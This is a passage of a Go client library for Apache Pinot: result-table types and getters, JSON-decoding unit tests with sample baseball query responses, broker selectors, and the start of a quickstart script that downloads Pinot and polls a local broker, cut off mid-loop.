`json:"numEntriesScannedInFilter"` 26 | NumEntriesScannedPostFilter int64 `json:"numEntriesScannedPostFilter"` 27 | TotalDocs int64 `json:"totalDocs"` 28 | TimeUsedMs int `json:"timeUsedMs"` 29 | MinConsumingFreshnessTimeMs int64 `json:"minConsumingFreshnessTimeMs"` 30 | NumGroupsLimitReached bool `json:"numGroupsLimitReached"` 31 | } 32 | 33 | // AggregationResult is the data structure for PQL aggregation result 34 | type AggregationResult struct { 35 | Function string `json:"function"` 36 | Value string `json:"value,omitempty"` 37 | GroupByColumns []string `json:"groupByColumns,omitempty"` 38 | GroupByResult []GroupValue `json:"groupByResult,omitempty"` 39 | } 40 | 41 | // GroupValue is the data structure for PQL aggregation GroupBy result 42 | type GroupValue struct { 43 | Value string `json:"value"` 44 | Group []string `json:"group"` 45 | } 46 | 47 | // SelectionResults is the data structure for PQL selection result 48 | type SelectionResults struct { 49 | Columns []string `json:"columns"` 50 | Results [][]interface{} `json:"results"` 51 | } 52 | 53 | // RespSchema is response schema 54 | type RespSchema struct { 55 | ColumnDataTypes []string `json:"columnDataTypes"` 56 | ColumnNames []string `json:"columnNames"` 57 | } 58 | 59 | // Exception is Pinot exceptions. 60 | type Exception struct { 61 | Message string `json:"message"` 62 | ErrorCode int `json:"errorCode"` 63 | } 64 | 65 | // ResultTable is a ResultTable 66 | type ResultTable struct { 67 | DataSchema RespSchema `json:"dataSchema"` 68 | Rows [][]interface{} `json:"rows"` 69 | } 70 | 71 | // GetRowCount returns how many rows in the ResultTable 72 | func (r ResultTable) GetRowCount() int { 73 | return len(r.Rows) 74 | } 75 | 76 | // GetColumnCount returns how many columns in the ResultTable 77 | func (r ResultTable) GetColumnCount() int { 78 | return len(r.DataSchema.ColumnNames) 79 | } 80 | 81 | // GetColumnName returns column name given column index 82 | func (r ResultTable) GetColumnName(columnIndex int) string { 83 | return r.DataSchema.ColumnNames[columnIndex] 84 | } 85 | 86 | // GetColumnDataType returns column data type given column index 87 | func (r ResultTable) GetColumnDataType(columnIndex int) string { 88 | return r.DataSchema.ColumnDataTypes[columnIndex] 89 | } 90 | 91 | // Get returns a ResultTable entry given row index and column index 92 | func (r ResultTable) Get(rowIndex int, columnIndex int) interface{} { 93 | return r.Rows[rowIndex][columnIndex] 94 | } 95 | 96 | // GetString returns a ResultTable string entry given row index and column index 97 | func (r ResultTable) GetString(rowIndex int, columnIndex int) string { 98 | if col, ok := (r.Rows[rowIndex][columnIndex]).(string); ok { 99 | return col 100 | } 101 | log.Errorf("Error converting to string: %v", r.Rows[rowIndex][columnIndex]) 102 | return "" 103 | } 104 | 105 | // GetInt returns a ResultTable int entry given row index and column index 106 | func (r ResultTable) GetInt(rowIndex int, columnIndex int) int32 { 107 | if col, ok := (r.Rows[rowIndex][columnIndex]).(json.Number); ok { 108 | val, err := col.Int64() 109 | if err != nil { 110 | log.Errorf("Error converting to long: %v", err) 111 | return 0 112 | } 113 | if val < int64(math.MinInt32) || val > int64(math.MaxInt32) { 114 | log.Errorf("Error converting to int: %v", val) 115 | return 0 116 | } 117 | return int32(val) 118 | } 119 | log.Errorf("Error converting to json.Number: %v", r.Rows[rowIndex][columnIndex]) 120 | return 0 121 | } 122 | 123 | // GetLong returns a ResultTable long entry given row index and column index 124 | func (r ResultTable) GetLong(rowIndex int, columnIndex int) int64 { 125 | if col, ok := (r.Rows[rowIndex][columnIndex]).(json.Number); ok { 126 | val, err := col.Int64() 127 | if err != nil { 128 | log.Errorf("Error converting to long: %v", err) 129 | return 0 130 | } 131 | return val 132 | } 133 | log.Errorf("Error converting to json.Number: %v", r.Rows[rowIndex][columnIndex]) 134 | return 0 135 | } 136 | 137 | // GetFloat returns a ResultTable float entry given row index and column index 138 | func (r ResultTable) GetFloat(rowIndex int, columnIndex int) float32 { 139 | if col, ok := (r.Rows[rowIndex][columnIndex]).(json.Number); ok { 140 | val, err := col.Float64() 141 | if err != nil { 142 | log.Errorf("Error converting to float: %v", err) 143 | return 0 144 | } 145 | return float32(val) 146 | } 147 | log.Errorf("Error converting to json.Number: %v", r.Rows[rowIndex][columnIndex]) 148 | return 0 149 | } 150 | 151 | // GetDouble returns a ResultTable double entry given row index and column index 152 | func (r ResultTable) GetDouble(rowIndex int, columnIndex int) float64 { 153 | if col, ok := (r.Rows[rowIndex][columnIndex]).(json.Number); ok { 154 | val, err := col.Float64() 155 | if err != nil { 156 | log.Errorf("Error converting to double: %v", err) 157 | return 0 158 | } 159 | return val 160 | } 161 | log.Errorf("Error converting to json.Number: %v", r.Rows[rowIndex][columnIndex]) 162 | return 0 163 | } 164 | -------------------------------------------------------------------------------- /pinot/response_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "encoding/json" 5 | "strings" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func TestSqlSelectionQueryResponse(t *testing.T) { 12 | var brokerResponse BrokerResponse 13 | respBytes := []byte("{\"resultTable\":{\"dataSchema\":{\"columnDataTypes\":[\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"STRING\",\"INT\",\"INT\",\"STRING\",\"STRING\",\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"INT\",\"STRING\",\"INT\",\"INT\"],\"columnNames\":[\"AtBatting\",\"G_old\",\"baseOnBalls\",\"caughtStealing\",\"doules\",\"groundedIntoDoublePlays\",\"hits\",\"hitsByPitch\",\"homeRuns\",\"intentionalWalks\",\"league\",\"numberOfGames\",\"numberOfGamesAsBatter\",\"playerID\",\"playerName\",\"playerStint\",\"runs\",\"runsBattedIn\",\"sacrificeFlies\",\"sacrificeHits\",\"stolenBases\",\"strikeouts\",\"teamID\",\"tripples\",\"yearID\"]},\"rows\":[[0,11,0,0,0,0,0,0,0,0,\"NL\",11,11,\"aardsda01\",\"David Allan\",1,0,0,0,0,0,0,\"SFN\",0,2004],[2,45,0,0,0,0,0,0,0,0,\"NL\",45,43,\"aardsda01\",\"David Allan\",1,0,0,0,1,0,0,\"CHN\",0,2006],[0,2,0,0,0,0,0,0,0,0,\"AL\",25,2,\"aardsda01\",\"David Allan\",1,0,0,0,0,0,0,\"CHA\",0,2007],[1,5,0,0,0,0,0,0,0,0,\"AL\",47,5,\"aardsda01\",\"David Allan\",1,0,0,0,0,0,1,\"BOS\",0,2008],[0,0,0,0,0,0,0,0,0,0,\"AL\",73,3,\"aardsda01\",\"David Allan\",1,0,0,0,0,0,0,\"SEA\",0,2009],[0,0,0,0,0,0,0,0,0,0,\"AL\",53,4,\"aardsda01\",\"David Allan\",1,0,0,0,0,0,0,\"SEA\",0,2010],[0,0,0,0,0,0,0,0,0,0,\"AL\",1,0,\"aardsda01\",\"David Allan\",1,0,0,0,0,0,0,\"NYA\",0,2012],[468,122,28,2,27,13,131,3,13,0,\"NL\",122,122,\"aaronha01\",\"Henry Louis\",1,58,69,4,6,2,39,\"ML1\",6,1954],[602,153,49,1,37,20,189,3,27,5,\"NL\",153,153,\"aaronha01\",\"Henry Louis\",1,105,106,4,7,3,61,\"ML1\",9,1955],[609,153,37,4,34,21,200,2,26,6,\"NL\",153,153,\"aaronha01\",\"Henry Louis\",1,106,92,7,5,2,54,\"ML1\",14,1956]]},\"exceptions\":[],\"numServersQueried\":1,\"numServersResponded\":1,\"numSegmentsQueried\":1,\"numSegmentsProcessed\":1,\"numSegmentsMatched\":1,\"numConsumingSegmentsQueried\":0,\"numDocsScanned\":10,\"numEntriesScannedInFilter\":0,\"numEntriesScannedPostFilter\":250,\"numGroupsLimitReached\":false,\"totalDocs\":97889,\"timeUsedMs\":6,\"segmentStatistics\":[],\"traceInfo\":{},\"minConsumingFreshnessTimeMs\":0}") 14 | err := decodeJSONWithNumber(respBytes, &brokerResponse) 15 | assert.Nil(t, err) 16 | assert.Equal(t, 0, len(brokerResponse.AggregationResults)) 17 | assert.Equal(t, 0, len(brokerResponse.Exceptions)) 18 | assert.Equal(t, int64(0), brokerResponse.MinConsumingFreshnessTimeMs) 19 | assert.Equal(t, 0, brokerResponse.NumConsumingSegmentsQueried) 20 | assert.Equal(t, int64(10), brokerResponse.NumDocsScanned) 21 | assert.Equal(t, int64(0), brokerResponse.NumEntriesScannedInFilter) 22 | assert.Equal(t, int64(250), brokerResponse.NumEntriesScannedPostFilter) 23 | assert.False(t, brokerResponse.NumGroupsLimitReached) 24 | assert.Equal(t, 1, brokerResponse.NumSegmentsMatched) 25 | assert.Equal(t, 1, brokerResponse.NumSegmentsProcessed) 26 | assert.Equal(t, 1, brokerResponse.NumSegmentsQueried) 27 | assert.Equal(t, 1, brokerResponse.NumServersQueried) 28 | assert.Equal(t, 1, brokerResponse.NumServersResponded) 29 | assert.NotNil(t, brokerResponse.ResultTable) 30 | assert.Nil(t, brokerResponse.SelectionResults) 31 | assert.Equal(t, 6, brokerResponse.TimeUsedMs) 32 | assert.Equal(t, int64(97889), brokerResponse.TotalDocs) 33 | assert.Equal(t, 0, len(brokerResponse.TraceInfo)) 34 | 35 | // Examine ResultTable 36 | assert.Equal(t, 10, brokerResponse.ResultTable.GetRowCount()) 37 | assert.Equal(t, 25, brokerResponse.ResultTable.GetColumnCount()) 38 | expectedColumnNames := []string{"AtBatting", "G_old", "baseOnBalls", "caughtStealing", "doules", "groundedIntoDoublePlays", "hits", "hitsByPitch", "homeRuns", "intentionalWalks", "league", "numberOfGames", "numberOfGamesAsBatter", "playerID", "playerName", "playerStint", "runs", "runsBattedIn", "sacrificeFlies", "sacrificeHits", "stolenBases", "strikeouts", "teamID", "tripples", "yearID"} 39 | expectedColumnTypes := []string{"INT", "INT", "INT", "INT", "INT", "INT", "INT", "INT", "INT", "INT", "STRING", "INT", "INT", "STRING", "STRING", "INT", "INT", "INT", "INT", "INT", "INT", "INT", "STRING", "INT", "INT"} 40 | for i := 0; i < 25; i++ { 41 | assert.Equal(t, expectedColumnNames[i], brokerResponse.ResultTable.GetColumnName(i)) 42 | assert.Equal(t, expectedColumnTypes[i], brokerResponse.ResultTable.GetColumnDataType(i)) 43 | } 44 | } 45 | 46 | func TestSqlAggregationQueryResponse(t *testing.T) { 47 | var brokerResponse BrokerResponse 48 | respBytes := []byte("{\"resultTable\":{\"dataSchema\":{\"columnDataTypes\":[\"LONG\"],\"columnNames\":[\"cnt\"]},\"rows\":[[97889]]},\"exceptions\":[],\"numServersQueried\":1,\"numServersResponded\":1,\"numSegmentsQueried\":1,\"numSegmentsProcessed\":1,\"numSegmentsMatched\":1,\"numConsumingSegmentsQueried\":0,\"numDocsScanned\":97889,\"numEntriesScannedInFilter\":0,\"numEntriesScannedPostFilter\":0,\"numGroupsLimitReached\":false,\"totalDocs\":97889,\"timeUsedMs\":5,\"segmentStatistics\":[],\"traceInfo\":{},\"minConsumingFreshnessTimeMs\":0}") 49 | err := decodeJSONWithNumber(respBytes, &brokerResponse) 50 | assert.Nil(t, err) 51 | assert.Equal(t, 0, len(brokerResponse.AggregationResults)) 52 | assert.Equal(t, 0, len(brokerResponse.Exceptions)) 53 | assert.Equal(t, int64(0), brokerResponse.MinConsumingFreshnessTimeMs) 54 | assert.Equal(t, 0, brokerResponse.NumConsumingSegmentsQueried) 55 | assert.Equal(t, int64(97889), brokerResponse.NumDocsScanned) 56 | assert.Equal(t, int64(0), brokerResponse.NumEntriesScannedInFilter) 57 | assert.Equal(t, int64(0), brokerResponse.NumEntriesScannedPostFilter) 58 | assert.False(t, brokerResponse.NumGroupsLimitReached) 59 | assert.Equal(t, 1, brokerResponse.NumSegmentsMatched) 60 | assert.Equal(t, 1, brokerResponse.NumSegmentsProcessed) 61 | assert.Equal(t, 1, brokerResponse.NumSegmentsQueried) 62 | assert.Equal(t, 1, brokerResponse.NumServersQueried) 63 | assert.Equal(t, 1, brokerResponse.NumServersResponded) 64 | assert.NotNil(t, brokerResponse.ResultTable) 65 | assert.Nil(t, brokerResponse.SelectionResults) 66 | assert.Equal(t, 5, brokerResponse.TimeUsedMs) 67 | assert.Equal(t, int64(97889), brokerResponse.TotalDocs) 68 | assert.Equal(t, 0, len(brokerResponse.TraceInfo)) 69 | // Examine ResultTable 70 | assert.Equal(t, 1, brokerResponse.ResultTable.GetRowCount()) 71 | assert.Equal(t, 1, brokerResponse.ResultTable.GetColumnCount()) 72 | assert.Equal(t, "cnt", brokerResponse.ResultTable.GetColumnName(0)) 73 | assert.Equal(t, "LONG", brokerResponse.ResultTable.GetColumnDataType(0)) 74 | assert.Equal(t, json.Number("97889"), brokerResponse.ResultTable.Get(0, 0)) 75 | assert.Equal(t, int32(97889), brokerResponse.ResultTable.GetInt(0, 0)) 76 | assert.Equal(t, int64(97889), brokerResponse.ResultTable.GetLong(0, 0)) 77 | assert.Equal(t, float32(97889), brokerResponse.ResultTable.GetFloat(0, 0)) 78 | assert.Equal(t, float64(97889), brokerResponse.ResultTable.GetDouble(0, 0)) 79 | } 80 | 81 | func TestSqlAggregationGroupByResponse(t *testing.T) { 82 | var brokerResponse BrokerResponse 83 | respBytes := []byte("{\"resultTable\":{\"dataSchema\":{\"columnDataTypes\":[\"STRING\",\"LONG\",\"DOUBLE\"],\"columnNames\":[\"teamID\",\"cnt\",\"sum_homeRuns\"]},\"rows\":[[\"ANA\",337,1324.0],[\"BL2\",197,136.0],[\"ARI\",727,2715.0],[\"BL1\",48,24.0],[\"ALT\",17,2.0],[\"ATL\",1951,7312.0],[\"BFN\",122,105.0],[\"BL3\",36,32.0],[\"BFP\",26,20.0],[\"BAL\",2380,9164.0]]},\"exceptions\":[],\"numServersQueried\":1,\"numServersResponded\":1,\"numSegmentsQueried\":1,\"numSegmentsProcessed\":1,\"numSegmentsMatched\":1,\"numConsumingSegmentsQueried\":0,\"numDocsScanned\":97889,\"numEntriesScannedInFilter\":0,\"numEntriesScannedPostFilter\":195778,\"numGroupsLimitReached\":true,\"totalDocs\":97889,\"timeUsedMs\":24,\"segmentStatistics\":[],\"traceInfo\":{},\"minConsumingFreshnessTimeMs\":0}") 84 | err := decodeJSONWithNumber(respBytes, &brokerResponse) 85 | assert.Nil(t, err) 86 | assert.Equal(t, 0, len(brokerResponse.AggregationResults)) 87 | assert.Equal(t, 0, len(brokerResponse.Exceptions)) 88 | assert.Equal(t, int64(0), brokerResponse.MinConsumingFreshnessTimeMs) 89 | assert.Equal(t, 0, brokerResponse.NumConsumingSegmentsQueried) 90 | assert.Equal(t, int64(97889), brokerResponse.NumDocsScanned) 91 | assert.Equal(t, int64(0), brokerResponse.NumEntriesScannedInFilter) 92 | assert.Equal(t, int64(195778), brokerResponse.NumEntriesScannedPostFilter) 93 | assert.True(t, brokerResponse.NumGroupsLimitReached) 94 | assert.Equal(t, 1, brokerResponse.NumSegmentsMatched) 95 | assert.Equal(t, 1, brokerResponse.NumSegmentsProcessed) 96 | assert.Equal(t, 1, brokerResponse.NumSegmentsQueried) 97 | assert.Equal(t, 1, brokerResponse.NumServersQueried) 98 | assert.Equal(t, 1, brokerResponse.NumServersResponded) 99 | assert.NotNil(t, brokerResponse.ResultTable) 100 | assert.Nil(t, brokerResponse.SelectionResults) 101 | assert.Equal(t, 24, brokerResponse.TimeUsedMs) 102 | assert.Equal(t, int64(97889), brokerResponse.TotalDocs) 103 | assert.Equal(t, 0, len(brokerResponse.TraceInfo)) 104 | // Examine ResultTable 105 | assert.Equal(t, 10, brokerResponse.ResultTable.GetRowCount()) 106 | assert.Equal(t, 3, brokerResponse.ResultTable.GetColumnCount()) 107 | assert.Equal(t, "teamID", brokerResponse.ResultTable.GetColumnName(0)) 108 | assert.Equal(t, "STRING", brokerResponse.ResultTable.GetColumnDataType(0)) 109 | assert.Equal(t, "cnt", brokerResponse.ResultTable.GetColumnName(1)) 110 | assert.Equal(t, "LONG", brokerResponse.ResultTable.GetColumnDataType(1)) 111 | assert.Equal(t, "sum_homeRuns", brokerResponse.ResultTable.GetColumnName(2)) 112 | assert.Equal(t, "DOUBLE", brokerResponse.ResultTable.GetColumnDataType(2)) 113 | 114 | assert.Equal(t, "ANA", brokerResponse.ResultTable.GetString(0, 0)) 115 | assert.Equal(t, int64(337), brokerResponse.ResultTable.GetLong(0, 1)) 116 | assert.Equal(t, float64(1324.0), brokerResponse.ResultTable.GetDouble(0, 2)) 117 | 118 | assert.Equal(t, "BL2", brokerResponse.ResultTable.GetString(1, 0)) 119 | assert.Equal(t, int64(197), brokerResponse.ResultTable.GetLong(1, 1)) 120 | assert.Equal(t, float64(136.0), brokerResponse.ResultTable.GetDouble(1, 2)) 121 | } 122 | 123 | func TestWrongTypeResponse(t *testing.T) { 124 | var brokerResponse BrokerResponse 125 | respBytes := []byte("{\"resultTable\":{\"dataSchema\":{\"columnDataTypes\":[\"STRING\",\"LONG\",\"DOUBLE\"],\"columnNames\":[\"teamID\",\"cnt\",\"sum_homeRuns\"]},\"rows\":[[\"ANA\",9223372036854775808, 1e309]]},\"exceptions\":[],\"numServersQueried\":1,\"numServersResponded\":1,\"numSegmentsQueried\":1,\"numSegmentsProcessed\":1,\"numSegmentsMatched\":1,\"numConsumingSegmentsQueried\":0,\"numDocsScanned\":97889,\"numEntriesScannedInFilter\":0,\"numEntriesScannedPostFilter\":195778,\"numGroupsLimitReached\":true,\"totalDocs\":97889,\"timeUsedMs\":24,\"segmentStatistics\":[],\"traceInfo\":{},\"minConsumingFreshnessTimeMs\":0}") 126 | err := decodeJSONWithNumber(respBytes, &brokerResponse) 127 | assert.Nil(t, err) 128 | assert.Equal(t, "ANA", brokerResponse.ResultTable.GetString(0, 0)) 129 | // Assert wrong type 130 | assert.Equal(t, int32(0), brokerResponse.ResultTable.GetInt(0, 1)) 131 | assert.Equal(t, int64(0), brokerResponse.ResultTable.GetLong(0, 1)) 132 | assert.Equal(t, float32(0), brokerResponse.ResultTable.GetFloat(0, 2)) 133 | assert.Equal(t, float64(0), brokerResponse.ResultTable.GetDouble(0, 2)) 134 | } 135 | 136 | func TestExceptionResponse(t *testing.T) { 137 | var brokerResponse BrokerResponse 138 | respBytes := []byte("{\"resultTable\":{\"dataSchema\":{\"columnDataTypes\":[\"DOUBLE\"],\"columnNames\":[\"max(league)\"]},\"rows\":[]},\"exceptions\":[{\"errorCode\":200,\"message\":\"QueryExecutionError:\\njava.lang.NumberFormatException: For input string: \\\"UA\\\"\\n\\tat sun.misc.FloatingDecimal.readJavaFormatString(FloatingDecimal.java:2043)\\n\\tat sun.misc.FloatingDecimal.parseDouble(FloatingDecimal.java:110)\\n\\tat java.lang.Double.parseDouble(Double.java:538)\\n\\tat org.apache.pinot.core.segment.index.readers.StringDictionary.getDoubleValue(StringDictionary.java:58)\\n\\tat org.apache.pinot.core.operator.query.DictionaryBasedAggregationOperator.getNextBlock(DictionaryBasedAggregationOperator.java:81)\\n\\tat org.apache.pinot.core.operator.query.DictionaryBasedAggregationOperator.getNextBlock(DictionaryBasedAggregationOperator.java:47)\\n\\tat org.apache.pinot.core.operator.BaseOperator.nextBlock(BaseOperator.java:48)\\n\\tat org.apache.pinot.core.operator.CombineOperator$1.runJob(CombineOperator.java:102)\\n\\tat org.apache.pinot.core.util.trace.TraceRunnable.run(TraceRunnable.java:40)\\n\\tat java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)\\n\\tat java.util.concurrent.FutureTask.run(FutureTask.java:266)\\n\\tat java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)\\n\\tat shaded.com.google.common.util.concurrent.TrustedListenableFutureTask$TrustedFutureInterruptibleTask.runInterruptibly(TrustedListenableFutureTask.java:111)\\n\\tat shaded.com.google.common.util.concurrent.InterruptibleTask.run(InterruptibleTask.java:58)\"}],\"numServersQueried\":1,\"numServersResponded\":1,\"numSegmentsQueried\":1,\"numSegmentsProcessed\":0,\"numSegmentsMatched\":0,\"numConsumingSegmentsQueried\":0,\"numDocsScanned\":0,\"numEntriesScannedInFilter\":0,\"numEntriesScannedPostFilter\":0,\"numGroupsLimitReached\":false,\"totalDocs\":97889,\"timeUsedMs\":5,\"segmentStatistics\":[],\"traceInfo\":{},\"minConsumingFreshnessTimeMs\":0}") 139 | err := decodeJSONWithNumber(respBytes, &brokerResponse) 140 | assert.Nil(t, err) 141 | assert.Equal(t, 0, len(brokerResponse.AggregationResults)) 142 | assert.Equal(t, 1, len(brokerResponse.Exceptions)) 143 | assert.Equal(t, int64(0), brokerResponse.MinConsumingFreshnessTimeMs) 144 | assert.Equal(t, 0, brokerResponse.NumConsumingSegmentsQueried) 145 | assert.Equal(t, int64(0), brokerResponse.NumDocsScanned) 146 | assert.Equal(t, int64(0), brokerResponse.NumEntriesScannedInFilter) 147 | assert.Equal(t, int64(0), brokerResponse.NumEntriesScannedPostFilter) 148 | assert.False(t, brokerResponse.NumGroupsLimitReached) 149 | assert.Equal(t, 0, brokerResponse.NumSegmentsMatched) 150 | assert.Equal(t, 0, brokerResponse.NumSegmentsProcessed) 151 | assert.Equal(t, 1, brokerResponse.NumSegmentsQueried) 152 | assert.Equal(t, 1, brokerResponse.NumServersQueried) 153 | assert.Equal(t, 1, brokerResponse.NumServersResponded) 154 | assert.NotNil(t, brokerResponse.ResultTable) 155 | assert.Nil(t, brokerResponse.SelectionResults) 156 | assert.Equal(t, 5, brokerResponse.TimeUsedMs) 157 | assert.Equal(t, int64(97889), brokerResponse.TotalDocs) 158 | assert.Equal(t, 0, len(brokerResponse.TraceInfo)) 159 | // Examine ResultTable 160 | assert.Equal(t, 0, brokerResponse.ResultTable.GetRowCount()) 161 | assert.Equal(t, 1, brokerResponse.ResultTable.GetColumnCount()) 162 | assert.Equal(t, "max(league)", brokerResponse.ResultTable.GetColumnName(0)) 163 | assert.Equal(t, "DOUBLE", brokerResponse.ResultTable.GetColumnDataType(0)) 164 | assert.Equal(t, 200, brokerResponse.Exceptions[0].ErrorCode) 165 | assert.True(t, strings.Contains(brokerResponse.Exceptions[0].Message, "QueryExecutionError:")) 166 | } 167 | -------------------------------------------------------------------------------- /pinot/simplebrokerselector.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | ) 7 | 8 | type simpleBrokerSelector struct { 9 | brokerList []string 10 | } 11 | 12 | func (s *simpleBrokerSelector) init() error { 13 | if len(s.brokerList) == 0 { 14 | return fmt.Errorf("No pre-configured broker lists set in simpleBrokerSelector") 15 | } 16 | return nil 17 | } 18 | 19 | func (s *simpleBrokerSelector) selectBroker(_ string) (string, error) { 20 | if len(s.brokerList) == 0 { 21 | return "", fmt.Errorf("No pre-configured broker lists set in simpleBrokerSelector") 22 | } 23 | // #nosec G404 24 | return s.brokerList[rand.Intn(len(s.brokerList))], nil 25 | } 26 | -------------------------------------------------------------------------------- /pinot/simplebrokerselector_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestSimpleBrokerSelector(t *testing.T) { 10 | s := &simpleBrokerSelector{ 11 | brokerList: []string{ 12 | "broker0", 13 | "broker1", 14 | "broker2", 15 | "broker3", 16 | "broker4", 17 | }, 18 | } 19 | err := s.init() 20 | assert.Nil(t, err) 21 | for i := 0; i < 10; i++ { 22 | brokerName, err := s.selectBroker("") 23 | assert.Equal(t, "broker", brokerName[0:6]) 24 | assert.Nil(t, err) 25 | brokerName, err = s.selectBroker("t") 26 | assert.Equal(t, "broker", brokerName[0:6]) 27 | assert.Nil(t, err) 28 | } 29 | } 30 | 31 | func TestWithEmptyBrokerList(t *testing.T) { 32 | s := &simpleBrokerSelector{ 33 | brokerList: []string{}, 34 | } 35 | err := s.init() 36 | assert.EqualError(t, err, "No pre-configured broker lists set in simpleBrokerSelector") 37 | for i := 0; i < 10; i++ { 38 | brokerName, err := s.selectBroker("t") 39 | assert.Equal(t, "", brokerName) 40 | assert.EqualError(t, err, "No pre-configured broker lists set in simpleBrokerSelector") 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /pinot/tableAwareBrokerSelector.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "strings" 7 | "sync" 8 | ) 9 | 10 | const ( 11 | offlineSuffix = "_OFFLINE" 12 | realtimeSuffix = "_REALTIME" 13 | ) 14 | 15 | type tableAwareBrokerSelector struct { 16 | tableBrokerMap map[string]([]string) 17 | allBrokerList []string 18 | rwMux sync.RWMutex 19 | } 20 | 21 | func (s *tableAwareBrokerSelector) selectBroker(table string) (string, error) { 22 | tableName := extractTableName(table) 23 | var brokerList []string 24 | if tableName == "" { 25 | s.rwMux.RLock() 26 | brokerList = s.allBrokerList 27 | s.rwMux.RUnlock() 28 | if len(brokerList) == 0 { 29 | return "", fmt.Errorf("No available broker found") 30 | } 31 | } else { 32 | var found bool 33 | s.rwMux.RLock() 34 | brokerList, found = s.tableBrokerMap[tableName] 35 | s.rwMux.RUnlock() 36 | if !found { 37 | return "", fmt.Errorf("Unable to find the table: %s", table) 38 | } 39 | if len(brokerList) == 0 { 40 | return "", fmt.Errorf("No available broker found for table: %s", table) 41 | } 42 | } 43 | // #nosec G404 44 | return brokerList[rand.Intn(len(brokerList))], nil 45 | } 46 | 47 | func extractTableName(table string) string { 48 | return strings.Replace(strings.Replace(table, offlineSuffix, "", 1), realtimeSuffix, "", 1) 49 | } 50 | -------------------------------------------------------------------------------- /pinot/tableAwareBrokerSelector_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestExtractTableName(t *testing.T) { 10 | assert.Equal(t, "table", extractTableName("table_OFFLINE")) 11 | assert.Equal(t, "table", extractTableName("table_REALTIME")) 12 | assert.Equal(t, "table", extractTableName("table")) 13 | } 14 | 15 | func TestSelectBroker(t *testing.T) { 16 | selector := &tableAwareBrokerSelector{ 17 | tableBrokerMap: map[string][]string{"myTable": {"localhost:8000"}}, 18 | allBrokerList: []string{"localhost:8000"}, 19 | } 20 | broker, err := selector.selectBroker("") 21 | assert.Equal(t, "localhost:8000", broker) 22 | assert.Nil(t, err) 23 | broker, err = selector.selectBroker("myTable") 24 | assert.Equal(t, "localhost:8000", broker) 25 | assert.Nil(t, err) 26 | _, err = selector.selectBroker("unexistTable") 27 | assert.NotNil(t, err) 28 | } 29 | 30 | func TestErrorSelectBroker(t *testing.T) { 31 | emptySelector := &tableAwareBrokerSelector{ 32 | tableBrokerMap: map[string][]string{"myTable": {}}, 33 | } 34 | _, err := emptySelector.selectBroker("") 35 | assert.NotNil(t, err) 36 | _, err = emptySelector.selectBroker("myTable") 37 | assert.NotNil(t, err) 38 | _, err = emptySelector.selectBroker("unexistTable") 39 | assert.NotNil(t, err) 40 | } 41 | -------------------------------------------------------------------------------- /scripts/start-pinot-quickstart.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Set the Pinot version 4 | if [ -z "${PINOT_VERSION}" ]; then 5 | echo "PINOT_VERSION is not set. Using default version 1.3.0" 6 | PINOT_VERSION="1.3.0" 7 | fi 8 | 9 | # Set the download URL 10 | DOWNLOAD_URL="https://archive.apache.org/dist/pinot/apache-pinot-${PINOT_VERSION}/apache-pinot-${PINOT_VERSION}-bin.tar.gz" 11 | 12 | # Set the destination directory 13 | if [ -z "${PINOT_HOME}" ]; then 14 | echo "PINOT_HOME is not set. Using default directory /tmp/pinot" 15 | PINOT_HOME="/tmp/pinot" 16 | fi 17 | 18 | # Set the broker port 19 | if [ -z "${BROKER_PORT_FORWARD}" ]; then 20 | echo "BROKER_PORT_FORWARD is not set. Using default port 8000" 21 | BROKER_PORT_FORWARD="8000" 22 | fi 23 | 24 | # Create the destination directory 25 | mkdir -p "${PINOT_HOME}" 26 | 27 | # Check if the directory exists 28 | if [ -d "${PINOT_HOME}/apache-pinot-${PINOT_VERSION}-bin" ]; then 29 | echo "Pinot package already exists in ${PINOT_HOME}/apache-pinot-${PINOT_VERSION}-bin" 30 | else 31 | # Download the Pinot package 32 | curl --parallel -L "${DOWNLOAD_URL}" -o "${PINOT_HOME}/apache-pinot-${PINOT_VERSION}-bin.tar.gz" 33 | 34 | # Extract the downloaded package 35 | tar -xzf "${PINOT_HOME}/apache-pinot-${PINOT_VERSION}-bin.tar.gz" -C "${PINOT_HOME}" 36 | 37 | # Remove the downloaded package 38 | rm "${PINOT_HOME}/apache-pinot-${PINOT_VERSION}-bin.tar.gz" 39 | fi 40 | 41 | 42 | # Start the Pinot cluster 43 | ${PINOT_HOME}/apache-pinot-${PINOT_VERSION}-bin/bin/pinot-admin.sh QuickStart -type MULTI_STAGE & 44 | PID=$! 45 | 46 | # Print the JVM settings 47 | jps -lvm 48 | 49 | ### --------------------------------------------------------------------------- 50 | ### Ensure Pinot cluster started correctly. 51 | ### --------------------------------------------------------------------------- 52 | 53 | echo "Ensure Pinot cluster started correctly" 54 | 55 | # Wait at most 10 minutes to reach the desired state 56 | for i in $(seq 1 150) 57 | do 58 | SUCCEED_TABLE=0 59 | for table in "airlineStats" "baseballStats" "dimBaseballTeams" "githubComplexTypeEvents" "githubEvents" "starbucksStores"; 60 | do 61 | QUERY="select count(*) from ${table} limit 1" 62 | QUERY_REQUEST='curl -s -X POST -H '"'"'Accept: application/json'"'"' -d '"'"'{"sql": "'${QUERY}'"}'"'"' http://localhost:'${BROKER_PORT_FORWARD}'/query/sql' 63 | echo ${QUERY_REQUEST} 64 | QUERY_RES=`eval ${QUERY_REQUEST}` 65 | echo ${QUERY_RES} 66 | 67 | if [ $? -eq 0 ]; then 68 | COUNT_STAR_RES=`echo "${QUERY_RES}" | jq '.resultTable.rows[0][0]'` 69 | if [[ "${COUNT_STAR_RES}" =~ 